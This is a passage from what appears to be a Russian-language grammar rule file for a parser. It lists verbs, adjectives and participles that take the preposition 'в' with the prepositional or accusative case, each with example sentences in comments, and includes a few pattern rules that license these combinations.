rus_verbs:проскользнуть{}, // В речи проскользнул упрёк. rus_verbs:оставить{}, // Не оставь товарища в опасности. rus_verbs:прогулять{}, // Мы прогуляли час в парке. rus_verbs:перебить{}, // Мы перебили врагов в бою. rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице. rus_verbs:видеть{}, // Он многое видел в жизни. // глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере. rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах. rus_verbs:кинуть{}, // Он кинул меня в беде. rus_verbs:приходить{}, // Приходи в сентябре rus_verbs:воскрешать{}, // воскрешать в памяти rus_verbs:соединять{}, // соединять в себе rus_verbs:разбираться{}, // умение разбираться в вещах rus_verbs:делать{}, // В её комнате делали обыск. rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина. rus_verbs:начаться{}, // В деревне начались полевые работы. rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль. rus_verbs:вертеться{}, // В голове вертится вчерашний разговор. rus_verbs:веять{}, // В воздухе веет прохладой. rus_verbs:висеть{}, // В воздухе висит зной. rus_verbs:носиться{}, // В воздухе носятся комары. rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее rus_verbs:воскресить{}, // воскресить в памяти rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина прилагательное:уверенный{ причастие }, // Она уверена в своих силах. прилагательное:постоянный{}, // Она постоянна во вкусах. прилагательное:сильный{}, // Он не силён в математике. прилагательное:повинный{}, // Он не повинен в этом. прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве. rus_verbs:сесть{}, // Она села в тени rus_verbs:заливаться{}, // в нашем парке заливаются соловьи rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени // rus_verbs:расти{}, // дерево, растущее в лесу rus_verbs:происходить{}, // что происходит в поликлиннике rus_verbs:спать{}, // кто спит в моей кровати rus_verbs:мыть{}, // мыть машину в саду ГЛ_ИНФ(царить), // В воздухе царило безмолвие ГЛ_ИНФ(мести), // мести в прихожей пол ГЛ_ИНФ(прятать), // прятать в яме ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне. // ГЛ_ИНФ(собраться), // собраться в порту ГЛ_ИНФ(случиться), // что-то случилось в больнице ГЛ_ИНФ(зажечься), // в небе зажглись звёзды ГЛ_ИНФ(купить), // купи молока в магазине прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР } // Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds fact гл_предл { if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } } then return true } // С локативом: // собраться в порту fact гл_предл { if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } } then return true } #endregion Предложный #region Винительный // Для глаголов движения с выраженным направлением действия может присоединяться // предложный паттерн с винительным падежом. wordentry_set Гл_В_Вин = { rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок. глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе. глагол:ввергать{}, инфинитив:ввергнуть{}, инфинитив:ввергать{}, rus_verbs:двинуться{}, // Двинулись в путь и мы. rus_verbs:сплавать{}, // Сплавать в Россию! rus_verbs:уложиться{}, // Уложиться в воскресенье. rus_verbs:спешить{}, // Спешите в Лондон rus_verbs:кинуть{}, // Киньте в море. rus_verbs:проситься{}, // Просилась в Никарагуа. rus_verbs:притопать{}, // Притопал в Будапешт. rus_verbs:скататься{}, // Скатался в Красноярск. rus_verbs:соскользнуть{}, // Соскользнул в пике. rus_verbs:соскальзывать{}, rus_verbs:играть{}, // Играл в дутье. глагол:айда{}, // Айда в каморы. rus_verbs:отзывать{}, // Отзывали в Москву... rus_verbs:сообщаться{}, // Сообщается в Лондон. rus_verbs:вдуматься{}, // Вдумайтесь в них. rus_verbs:проехать{}, // Проехать в Лунево... rus_verbs:спрыгивать{}, // Спрыгиваем в него. rus_verbs:верить{}, // Верю в вас! rus_verbs:прибыть{}, // Прибыл в Подмосковье. rus_verbs:переходить{}, // Переходите в школу. rus_verbs:доложить{}, // Доложили в Москву. rus_verbs:подаваться{}, // Подаваться в Россию? rus_verbs:спрыгнуть{}, // Спрыгнул в него. rus_verbs:вывезти{}, // Вывезли в Китай. rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю. rus_verbs:пропихнуть{}, rus_verbs:транспортироваться{}, rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения rus_verbs:дуть{}, rus_verbs:БОГАТЕТЬ{}, // rus_verbs:РАЗБОГАТЕТЬ{}, // rus_verbs:ВОЗРАСТАТЬ{}, // rus_verbs:ВОЗРАСТИ{}, // rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ) rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ) rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ) rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ) rus_verbs:ЗАМАНИВАТЬ{}, rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ) rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ) rus_verbs:ВРУБАТЬСЯ{}, rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ) rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ) rus_verbs:ОБЛАЧАТЬ{}, rus_verbs:ОБЛАЧИТЬСЯ{}, rus_verbs:ОБЛАЧАТЬСЯ{}, rus_verbs:НАРЯДИТЬСЯ{}, rus_verbs:НАРЯЖАТЬСЯ{}, rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ) rus_verbs:ЗАХВАТЫВАТЬ{}, rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ) rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ) rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ) rus_verbs:ПОСТРОИТЬСЯ{}, rus_verbs:ВЫСТРОИТЬСЯ{}, rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ) rus_verbs:ВЫПУСКАТЬ{}, rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ) rus_verbs:ВЦЕПИТЬСЯ{}, rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ) rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ) rus_verbs:ОТСТУПАТЬ{}, rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ) rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ) rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ) rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ) rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ) rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ) rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин) rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ) rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ) rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ) rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ) rus_verbs:СЖИМАТЬСЯ{}, rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ) rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ) rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ) rus_verbs:ПОКРАСИТЬ{}, // rus_verbs:ПЕРЕКРАСИТЬ{}, // rus_verbs:ОКРАСИТЬ{}, // rus_verbs:ЗАКРАСИТЬ{}, // rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ) rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ) rus_verbs:СТЯНУТЬ{}, // rus_verbs:ЗАТЯНУТЬ{}, // rus_verbs:ВТЯНУТЬ{}, // rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ) деепричастие:придя{}, // Немного придя в себя rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ) rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ) rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ) rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ) rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ) rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ) rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин) rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин) rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин) rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин) rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин) rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин) rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин) rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В) rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В) rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В) rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В) rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин) rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В) rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В) rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин) rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В) rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В) rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В) rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В) rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В) rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В) rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В) rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В) rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В) rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны. rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В) rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям. rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В) rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в) rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В) rus_verbs:валить{}, // валить все в одну кучу (валить в) rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в) rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в) rus_verbs:клониться{}, // он клонился в сторону (клониться в) rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в) rus_verbs:запасть{}, // Эти слова запали мне в душу. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:ездить{}, // Каждый день грузовик ездит в город. rus_verbs:претвориться{}, // Замысел претворился в жизнь. rus_verbs:разойтись{}, // Они разошлись в разные стороны. rus_verbs:выйти{}, // Охотник вышел в поле с ружьём. rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом. rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны rus_verbs:переодеваться{}, // переодеваться в женское платье rus_verbs:перерастать{}, // перерастать в массовые беспорядки rus_verbs:завязываться{}, // завязываться в узел rus_verbs:похватать{}, // похватать в руки rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:помещать{}, // помещать в изолятор rus_verbs:зыркнуть{}, // зыркнуть в окошко rus_verbs:закатать{}, // закатать в асфальт rus_verbs:усаживаться{}, // усаживаться в кресло rus_verbs:загонять{}, // загонять в сарай rus_verbs:подбрасывать{}, // подбрасывать в воздух rus_verbs:телеграфировать{}, // телеграфировать в центр rus_verbs:вязать{}, // вязать в стопы rus_verbs:подлить{}, // подлить в огонь rus_verbs:заполучить{}, // заполучить в распоряжение rus_verbs:подогнать{}, // подогнать в док rus_verbs:ломиться{}, // ломиться в открытую дверь rus_verbs:переправить{}, // переправить в деревню rus_verbs:затягиваться{}, // затягиваться в трубу rus_verbs:разлетаться{}, // разлетаться в стороны rus_verbs:кланяться{}, // кланяться в ножки rus_verbs:устремляться{}, // устремляться в открытое море rus_verbs:переместиться{}, // переместиться в другую аудиторию rus_verbs:ложить{}, // ложить в ящик rus_verbs:отвозить{}, // отвозить в аэропорт rus_verbs:напрашиваться{}, // напрашиваться в гости rus_verbs:напроситься{}, // напроситься в гости rus_verbs:нагрянуть{}, // нагрянуть в гости rus_verbs:заворачивать{}, // заворачивать в фольгу rus_verbs:заковать{}, // заковать в кандалы rus_verbs:свезти{}, // свезти в сарай rus_verbs:притащиться{}, // притащиться в дом rus_verbs:завербовать{}, // завербовать в разведку rus_verbs:рубиться{}, // рубиться в компьютерные игры rus_verbs:тыкаться{}, // тыкаться в материнскую грудь инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш }, деепричастие:ссыпав{}, деепричастие:ссыпая{}, rus_verbs:засасывать{}, // засасывать в себя rus_verbs:скакнуть{}, // скакнуть в будущее rus_verbs:подвозить{}, // подвозить в театр rus_verbs:переиграть{}, // переиграть в покер rus_verbs:мобилизовать{}, // мобилизовать в действующую армию rus_verbs:залетать{}, // залетать в закрытое воздушное пространство rus_verbs:подышать{}, // подышать в трубочку rus_verbs:смотаться{}, // смотаться в институт rus_verbs:рассовать{}, // рассовать в кармашки rus_verbs:захаживать{}, // захаживать в дом инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард деепричастие:сгоняя{}, rus_verbs:посылаться{}, // посылаться в порт rus_verbs:отлить{}, // отлить в кастрюлю rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение rus_verbs:поплакать{}, // поплакать в платочек rus_verbs:обуться{}, // обуться в сапоги rus_verbs:закапать{}, // закапать в глаза инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш }, деепричастие:свозив{}, деепричастие:свозя{}, rus_verbs:преобразовать{}, // преобразовать в линейное уравнение rus_verbs:кутаться{}, // кутаться в плед rus_verbs:смещаться{}, // смещаться в сторону rus_verbs:зазывать{}, // зазывать в свой магазин инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш }, деепричастие:трансформируясь{}, деепричастие:трансформировавшись{}, rus_verbs:погружать{}, // погружать в кипящее масло rus_verbs:обыграть{}, // обыграть в теннис rus_verbs:закутать{}, // закутать в одеяло rus_verbs:изливаться{}, // изливаться в воду rus_verbs:закатывать{}, // закатывать в асфальт rus_verbs:мотнуться{}, // мотнуться в банк rus_verbs:избираться{}, // избираться в сенат rus_verbs:наниматься{}, // наниматься в услужение rus_verbs:настучать{}, // настучать в органы rus_verbs:запихивать{}, // запихивать в печку rus_verbs:закапывать{}, // закапывать в нос rus_verbs:засобираться{}, // засобираться в поход rus_verbs:копировать{}, // копировать в другую папку rus_verbs:замуровать{}, // замуровать в стену rus_verbs:упечь{}, // упечь в тюрьму rus_verbs:зрить{}, // зрить в корень rus_verbs:стягиваться{}, // стягиваться в одну точку rus_verbs:усаживать{}, // усаживать в тренажер rus_verbs:протолкнуть{}, // протолкнуть в отверстие rus_verbs:расшибиться{}, // расшибиться в лепешку rus_verbs:приглашаться{}, // приглашаться в кабинет rus_verbs:садить{}, // садить в телегу rus_verbs:уткнуть{}, // уткнуть в подушку rus_verbs:протечь{}, // протечь в подвал rus_verbs:перегнать{}, // перегнать в другую страну rus_verbs:переползти{}, // переползти в тень rus_verbs:зарываться{}, // зарываться в грунт rus_verbs:переодеть{}, // переодеть в сухую одежду rus_verbs:припуститься{}, // припуститься в пляс rus_verbs:лопотать{}, // лопотать в микрофон rus_verbs:прогнусавить{}, // прогнусавить в микрофон rus_verbs:мочиться{}, // мочиться в штаны rus_verbs:загружать{}, // загружать в патронник rus_verbs:радировать{}, // радировать в центр rus_verbs:промотать{}, // промотать в конец rus_verbs:помчать{}, // помчать в школу rus_verbs:съезжать{}, // съезжать в кювет rus_verbs:завозить{}, // завозить в магазин rus_verbs:заявляться{}, // заявляться в школу rus_verbs:наглядеться{}, // наглядеться в зеркало rus_verbs:сворачиваться{}, // сворачиваться в клубочек rus_verbs:устремлять{}, // устремлять взор в будущее rus_verbs:забредать{}, // забредать в глухие уголки rus_verbs:перемотать{}, // перемотать в самое начало диалога rus_verbs:сморкаться{}, // сморкаться в носовой платочек rus_verbs:перетекать{}, // перетекать в другой сосуд rus_verbs:закачать{}, // закачать в шарик rus_verbs:запрятать{}, // запрятать в сейф rus_verbs:пинать{}, // пинать в живот rus_verbs:затрубить{}, // затрубить в горн rus_verbs:подглядывать{}, // подглядывать в замочную скважину инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш }, деепричастие:подсыпав{}, деепричастие:подсыпая{}, rus_verbs:засовывать{}, // засовывать в пенал rus_verbs:отрядить{}, // отрядить в командировку rus_verbs:справлять{}, // справлять в кусты rus_verbs:поторапливаться{}, // поторапливаться в самолет rus_verbs:скопировать{}, // скопировать в кэш rus_verbs:подливать{}, // подливать в огонь rus_verbs:запрячь{}, // запрячь в повозку rus_verbs:окраситься{}, // окраситься в пурпур rus_verbs:уколоть{}, // уколоть в шею rus_verbs:слететься{}, // слететься в гнездо rus_verbs:резаться{}, // резаться в карты rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш) деепричастие:задвигая{}, rus_verbs:доставляться{}, // доставляться в ресторан rus_verbs:поплевать{}, // поплевать в чашку rus_verbs:попереться{}, // попереться в магазин rus_verbs:хаживать{}, // хаживать в церковь rus_verbs:преображаться{}, // преображаться в королеву rus_verbs:организоваться{}, // организоваться в группу rus_verbs:ужалить{}, // ужалить в руку rus_verbs:протискиваться{}, // протискиваться в аудиторию rus_verbs:препроводить{}, // препроводить в закуток rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки 